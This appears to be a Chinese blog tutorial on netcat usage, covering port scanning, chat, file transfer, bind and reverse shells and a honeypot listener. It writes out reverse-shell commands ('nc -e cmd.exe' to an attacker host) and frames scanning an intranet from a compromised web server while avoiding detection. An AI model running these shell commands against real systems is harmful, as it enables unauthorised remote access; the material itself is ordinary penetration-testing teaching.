Netcat瑞士军刀的简单使用
2024-09-24 04:48:40
目录
Netcat
Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。
常用参数:
- -l: 开启监听
- -p:指定端口
- -t: 以telnet形式应答
- -e:程序重定向
- -n:以数字形式表示ip
- -v:显示执行命令过程
- -z : 不进行交互,直接显示结果
- -u :使用UDP协议传输
- -w : 设置超时时间
常见的用法:
端口扫描:
如果是想单纯的端口扫描的话,利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后,我们想再渗透进该网站的内网进行渗透。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。
nc -z -v -n 192.168.10.14 20-23 #端口或端口范围
如果探测到端口开放了,比如上面的 80 端口开放了,我们就可以继续探测其banner信息:
nc -v -n 192.168.10.14 80
然后输入get
聊天
我们还可以利用 nc 做一个简易版本的聊天工具,通过一边监听端口,一边发送消息去该端口,形成一个简易版本的服务端—客户端模型。
服务器端:
nc -lvp 8888 #监听8888端口 -l 监听 -v 显示详细信息 -p 指定端口
客户端:
nc -nv 10.96.10.208 8888 #连接到服务器的8888端口 -n以数字形式显示ip -v显示详细信息
文件传输
我们可以利用 nc 往客户端传送文件
服务器端:
nc -lvp 8888 < test.txt
客户端:
nc -nv 10.96.10.208 8888 > test.txt
反弹shell
正向连接,意思就是我们主动连接肉鸡
假如我们现在入侵到了一台主机上,我们可以通过执行以下命令将该主机的cmd命令弹到8888端口上
肉鸡
nc -lvv -p 8888 -t -e cmd.exe
然后我们的主机访问该肉鸡的8888端口
我们的主机
nc -nvv 192.168.10.14 8888
反向连接,意思就是我们监听端口,然后肉鸡主动连接到我们的主机
我们的主机
nc -lvp 8888
肉鸡
nc -t -e cmd.exe 10.96.10.208 8888
蜜罐
作为蜜罐
一直监听8888端口,知道 ctrl+C 停止
nc -L -p 8888 > log.txt #监听8888端口,并且将日志信息写入log.txt中
最新文章
- STM32F429 LCD程序移植
- jQuery弹出层插件popbox
- C阶段【02】 - 分支结构
- supervisor program配置实例
- VirtualBox提示:错误,创建一个新任务失败,被召者解决办法
- python Basic usage
- PRML读书会第一章 Introduction(机器学习基本概念、学习理论、模型选择、维灾等)
- maven常见命令总结
- [HEOI 2014]大工程
- CVE-2018-8120 Microsoft Windows提权漏洞 Exp
- scrollTo不起作用
- Java JSONArray for循环 remove成员的一个好算法
- Python之旅Day4 闭包函数 模块及模块倒入
- java中堆与栈的区别
- VMware虚拟机安装红帽系统无法上网解决办法(转)
- 求LCA练习+部分算法复习 2017.1.22
- CSS 背景background实例
- Java菜鸟学习笔记(23)--继承篇(二):继承与组合
- 新一代Java模板引擎Thymeleaf
- 深入了解java虚拟机(JVM) 第四章 对象的创建
热门文章
- 从零开始编写一个BitTorrent下载器
- WorkSkill 面试之 字节跳动一面
- python-顺序串基本操作的实现
- 在用free()函数释放指针内存时为何要将其指针置空
- RichText实现动态输入关键字高亮颜色显示
- 01-静态web服务器(Python)-面向对象的对比
- The 2018 ACM-ICPC CCPC NING XIA G-Factories
- Centos7安装Nacos单机模式以及集群模式(包含nignx安装以及实现集群)的相关配置
- Python基础之异常定义
- Tkinter系列教程01—引言和安装Tk—Python GUI编程